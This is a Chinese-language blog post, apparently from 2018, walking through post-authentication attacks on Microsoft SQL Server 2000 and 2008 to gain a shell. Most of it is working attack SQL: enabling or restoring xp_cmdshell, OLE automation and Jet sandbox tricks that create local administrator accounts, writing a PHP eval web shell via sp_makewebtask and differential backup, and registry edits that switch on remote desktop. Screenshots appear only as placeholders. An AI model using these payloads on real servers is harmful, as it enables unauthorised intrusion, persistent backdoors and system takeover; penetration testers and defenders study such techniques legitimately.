利用MSSQL getshell

此次复现使用的sql server 2000 和sql server 2008两个环境进行的
是在已知数据库密码的基础上进行的

0x01 MSSQL连接

连接MSSQL 2000

新建连接:
在这里插入图片描述
填写目的IP、目的端口、用户名、密码:
在这里插入图片描述
一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接:
若是第一次连接,双击会提示下载驱动文件,若不成功,需多次反复尝试

在这里插入图片描述
在这里插入图片描述
新建SQL编辑器即可执行SQL语句:
在这里插入图片描述

查询SQL Server版本SQL语句如下:

select @@version;

执行结果:
在这里插入图片描述

连接MSSQL 2008

新建连接:
在这里插入图片描述
填写目的IP、目的端口、用户名、密码:
在这里插入图片描述
新建查询:
在这里插入图片描述
执行SQL语句,查询所有的数据库名称:
SQL语句:

SELECT Name FROM Master..SysDatabases ORDER BY Name;

执行结果:
在这里插入图片描述

0x02 MSSQL利用方式

xp_cmdshell

1.直接利用:
SQL语句:

exec master..xp_cmdshell 'whoami';

SQL Server 2000结果:
在这里插入图片描述
SQL Server 2008结果:
在这里插入图片描述
xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

可以通过exec sp_configure查看xp_cmdshell状态:

exec sp_configure

在这里插入图片描述
再次执行系统命令:

exec master..xp_cmdshell 'whoami';

在这里插入图片描述

exec master..xp_cmdshell 'ipconfig';

在这里插入图片描述

关闭xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效

2.恢复xp_cmdshell:
判断是否xp_cmdshell存储过程,返回1代表存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

在SQL Server 2005及之前的版本,管理员可能采用下面命令可以将xp_cmdshell删除:

exec master..sp_dropextendedproc xp_cmdshell;

此时若使用xp_cmdshell,会提示“未能找到存储过程”,如下:
在这里插入图片描述
需使用下面命令可以恢复:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:
在这里插入图片描述

如果有上传权限,可以上传xplog70.dll,并执行:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

sp_oacreate(添加管理员)

SQL Server 2008不可用,SQL Server 2000可添加管理员用户:

DECLARE @js int EXEC sp_oacreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript' EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("test1");z.changePassword("test1","");z.setting("AccountType")=3;'

sp_makewebtask (写文件)

SQL Server 2008不可用,SQL Server 2000可新建文件:(phpinfo)

exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--

写shell

exec sp_makewebtask 'C:\test1.php',' select ''<?php @eval($?_POST['cmd']);?>'' ';;--

在这里插入图片描述

wscript.shell(添加管理员)

SQL Server 2008、SQL Server 2000均可用:
开启(2008可以试一下,2000不用开启)

exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE

添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'

添加到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'

执行结果:

在这里插入图片描述

Shell.Application(添加用户)

SQL Server 2008不可用,SQL Server 2000可用:

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test3 test3 /add','c:\windows\system32','','1';

沙盒模式

只有Windows xp 与 Windows 2003可用:
开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

执行系统命令:(添加用户)

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')

在这里插入图片描述

0x04 MSSQL差异备份

MSSQL 2008
查询库名:

SELECT DB_NAME();

也可以创建数据库:

create database test2;

先进行一次完整备份:

backup database test2 to disk = 'c:\test2.bak';

使用数据库:

use test2;

创建新表:

create table [dbo].[test2] ([cmd] [image]);

向表中插入数据:

insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>

进行差异备份:

backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;

访问目标地址:
在这里插入图片描述

0x05 补充

查看远程桌面开启

exec xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections'

开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections',
'REG_DWord',0															

参考文章:https://www.freebuf.com/articles/web/55577.html

posted @ 2018-11-17 15:23  浅笑996  阅读(705)  评论(0编辑  收藏  举报